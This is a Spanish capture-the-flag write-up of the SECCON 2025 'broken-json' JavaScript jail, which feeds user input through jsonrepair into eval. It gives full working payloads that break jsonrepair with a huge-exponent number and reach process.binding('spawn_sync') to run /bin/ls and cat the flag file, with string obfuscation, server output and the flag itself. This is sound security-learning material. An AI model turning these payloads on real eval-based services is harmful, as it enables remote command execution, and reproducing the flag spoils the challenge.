Broken-json - SecconCTF2025
Reto basado en escapar de una jail en JavaScript mediante el uso de jsonparser
Autor del reto: Ark
Veces resuelto: 166
Dificultad: Media
Enunciado
1
Break Time ☕
Archivos
En este reto, se tienen los siguientes archivos:
broken-json.tar.gz: Contiene el Docker de la infraestructura del reto.nc broken-json.seccon.games 5000: Conexión por netcat al servidor.
1
2
3
4
5
6
7
8
broken-json.tar.gz
|
├── compose.yaml
├── Dockerfile
├── flag.txt
├── jail.js
├── package.json
└── package-lock.json
Archivos utilizados en mi repositorio de Github.
Analizando el reto
En el archivo package.json se encuentran las versiones de los paquetes:
1
2
3
4
5
6
7
8
9
{
"private": true,
"name": "broken-json",
"type": "module",
"dependencies": {
"jsonrepair": "^3.13.1"
}
}
En el archivo jail.js se encuentra el siguiente código:
1
2
3
4
5
6
#!/usr/local/bin/node
import readline from "node:readline/promises";
import { jsonrepair } from "jsonrepair";
using rl = readline.createInterface({ input: process.stdin, output: process.stderr });
await rl.question("jail> ").then(jsonrepair).then(eval).then(console.log);
El código anterior espera a que el usuario introduzca texto para posteriormente convertirlo en JSON válido mediante la funcionalidad jsonrepair, para posteriormente ejecutar la cadena resultante como código JavaScript con la función eval.
Solver
Para poder escapar de la jail, se deberá romper el parser de jsonrepair haciendo uso de números gigantes malformados, inyectando código JavaScript válido en medio del JSON para usar la función Function.constructor la cual nos permite acceder a process y mediante la API interna process.binding('spawn_sync'), se puede ejecutar comandos arbitrarios.
En este caso, primero se ejecutará /bin/ls para localizar el directorio de la flag y posteriormente con el uso de cat flag se obtiene la flag.
Bypass de jsonrepair
1
123,2.1e+611111111111111,asdasdasd/\"",
123- Un número válido2.1e+611111111111111- CLAVE: Un número en notación científica con exponente extremadamente grandeasdasdasd/\"",- Texto que parece código roto con una comilla escapada
Cuando
jsonrepairprocesa2.1e+611111111111111, intenta parsearlo como número y como el exponente es tan grande, se convierte enInfinity, causando que jsonrepair entre en un estado de comportamiento en el que el parsing se vuelve permisivo después de este punto.La secuencia de
asdasdasd/\"",(comilla escapada junto a un cierre de una supuesta cadena) confunde al parser dejsonrepairhaciendo que interprete lo siguiente como código JavaScript válido en lugar de seguir tratándolo como JSON.El Código Malicioso
1
console.log(this.constructor.constructor('return process')().binding('spawn_sync').spawn({...})
this.constructor.constructorfunciona porquethisen el contexto deeval()es el objeto global, el cual permite formarthis.constructorque es unObjectpermitiendo realizarObject.constructorformandoFunction.Esto es muy importante porque
Functiones el constructor que permite crear nuevas funciones dinámicamente. Es equivalente a hacer:1
new Function('código aquí')
Código
('return process')()1
this.constructor.constructor('return process')()
Esto es equivalente a:
1
new Function('return process')()
Esto permite crear una función cuyo cuerpo es
return processla cual ejecuta inmediatamente con(), devolviendo el objetoprocessde Node.js.Esto es necesario porque en el contexto del eval,
processpodría no estar directamente accesible o estar restringido. Al usarFunction, accedemos al contexto global real dondeprocesssí existe.Código
.binding('spawn_sync')1
process.binding('spawn_sync')
Esto es lo más importante, ya que
process.binding()es una API interna de Node.js (no documentada públicamente), la cual permite acceder a módulos C++ internos de Node.js. Ademásspawn_synces el módulo interno que maneja la creación de procesos hijo de manera síncrona.Esta API a la que hemos sido capaces de acceder, normalmente no debería ser accesible desde código de userland.
En este caso, mediante el uso de
.bindingsomos capaces de acceder a la API porque las APIs normales comochild_process.exec()podrían estar bloqueadas o no disponibles en la jail.binding()va directo al núcleo de Node.js.Código
.spawn({...})1 2 3 4 5 6 7 8 9 10
.spawn({ file: String.fromCharCode(47) + 'bin' + String.fromCharCode(47) + 'ls', args: [String.fromCharCode(47) + 'bin' + String.fromCharCode(47) + 'ls', '-la', String.fromCharCode(47)], envPairs: [], stdio: [ {type: 'pipe', readable: true, writable: false}, {type: 'pipe', readable: false, writable: true}, {type: 'pipe', readable: false, writable: true} ] })
Esta parte del código se usa para ofuscar el comando principal y evitar la detección de strings como
/bin/ls. En este caso los parámetros del spawn son los siguientes.file:/bin/ls- El ejecutable a llamarargs:['/bin/ls', '-la', '/']- Argumentos (lista el directorio raíz)envPairs:[]- Variables de entorno (ninguna)stdio: Configuración de los streams:[0]- stdin: pipe legible (entrada)[1]- stdout: pipe escribible (salida)[2]- stderr: pipe escribible (errores)
Código
.output[1].toString()para localizar la flag1
.output[1].toString()
.outputes un array con el resultado del stdout convertido a string.Código para leer la flag una vez localizada
1 2 3
file: String.fromCharCode(47) + 'bin' + String.fromCharCode(47) + 'cat', args: [String.fromCharCode(47) + 'bin' + String.fromCharCode(47) + 'cat', String.fromCharCode(47) + 'flag-235a7a7283c92a9c1f9a1e521e0e70f3.txt']
Esto ejecuta:
/bin/cat /flag-235a7a7283c92a9c1f9a1e521e0e70f3.txtEl final del payload
El payload termina con:
1
),"
Esto cierra el paréntesis del
console.log(), la coma continúa la “lista” de elementos JSON y por último las comillas cierran una supuesta string vacía.Esto hace que jsonrepair piense que el JSON está completo y válido.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(kesero㉿kali)-[~]
└─$ nc broken-json.seccon.games 5000
jail> 123,2.1e+611111111111111,asdasdasd/\"",console.log(this.constructor.constructor('return process')().binding('spawn_sync').spawn({file:String.fromCharCode(47)+'bin'+String.fromCharCode(47)+'ls',args:[String.fromCharCode(47)+'bin'+String.fromCharCode(47)+'ls','-la',String.fromCharCode(47)],envPairs:[],stdio:[{type:'pipe',readable:true,writable:false},{type:'pipe',readable:false,writable:true},{type:'pipe',readable:false,writable:true}]}).output[1].toString()),"
total 68
drwxr-xr-x 1 nobody nogroup 4096 Dec 12 05:14 .
drwxr-xr-x 1 nobody nogroup 4096 Dec 12 05:14 ..
drwxr-xr-x 3 nobody nogroup 4096 Dec 12 05:14 app
lrwxrwxrwx 1 nobody nogroup 7 Dec 8 00:00 bin -> usr/bin
drwxr-xr-x 2 nobody nogroup 4096 Aug 24 16:05 boot
drwxrwxrwt 2 nobody nogroup 100 Dec 12 12:32 dev
drwxr-xr-x 29 nobody nogroup 4096 Dec 12 05:14 etc
-rw-r--r-- 1 nobody nogroup 41 Dec 11 21:20 flag-235a7a7283c92a9c1f9a1e521e0e70f3.txt
drwxr-xr-x 3 nobody nogroup 4096 Dec 8 23:13 home
lrwxrwxrwx 1 nobody nogroup 7 Dec 8 00:00 lib -> usr/lib
lrwxrwxrwx 1 nobody nogroup 9 Dec 8 00:00 lib64 -> usr/lib64
drwxr-xr-x 2 nobody nogroup 4096 Dec 8 00:00 media
drwxr-xr-x 2 nobody nogroup 4096 Dec 8 00:00 mnt
drwxr-xr-x 3 nobody nogroup 4096 Dec 8 23:14 opt
dr-xr-xr-x 177 nobody nogroup 0 Dec 13 18:54 proc
drwx------ 3 nobody nogroup 4096 Dec 12 05:14 root
drwxr-xr-x 3 nobody nogroup 4096 Dec 8 00:00 run
lrwxrwxrwx 1 nobody nogroup 8 Dec 8 00:00 sbin -> usr/sbin
drwxr-xr-x 2 nobody nogroup 4096 Dec 8 00:00 srv
drwxr-xr-x 2 nobody nogroup 4096 Aug 24 16:05 sys
drwxrwxrwt 3 nobody nogroup 4096 Dec 12 05:14 tmp
drwxr-xr-x 12 nobody nogroup 4096 Dec 8 00:00 usr
drwxr-xr-x 11 nobody nogroup 4096 Dec 8 00:00 var
[ 123, Infinity, 'asdasdasd', '/"', undefined, '' ]
1
2
3
4
5
6
7
8
┌──(kesero㉿kali)-[~]
└─$ nc broken-json.seccon.games 5000
jail> 123,2.1e+611111111111111,asdasdasd/\"",console.log(this.constructor.constructor('return process')().binding('spawn_sync').spawn({file:String.fromCharCode(47)+'bin'+String.fromCharCode(47)+'cat',args:[String.fromCharCode(47)+'bin'+String.fromCharCode(47)+'cat',String.fromCharCode(47)+'flag-235a7a7283c92a9c1f9a1e521e0e70f3.txt'],envPairs:[],stdio:[{type:'pipe',readable:true,writable:false},{type:'pipe',readable:false,writable:true},{type:'pipe',readable:false,writable:true}]}).output[1].toString()),"
SECCON{Re:Jail_kara_Hajimeru_Break_Time}
[ 123, Infinity, 'asdasdasd', '/"', undefined, '' ]
Flag
SECCON{Re:Jail_kara_Hajimeru_Break_Time}
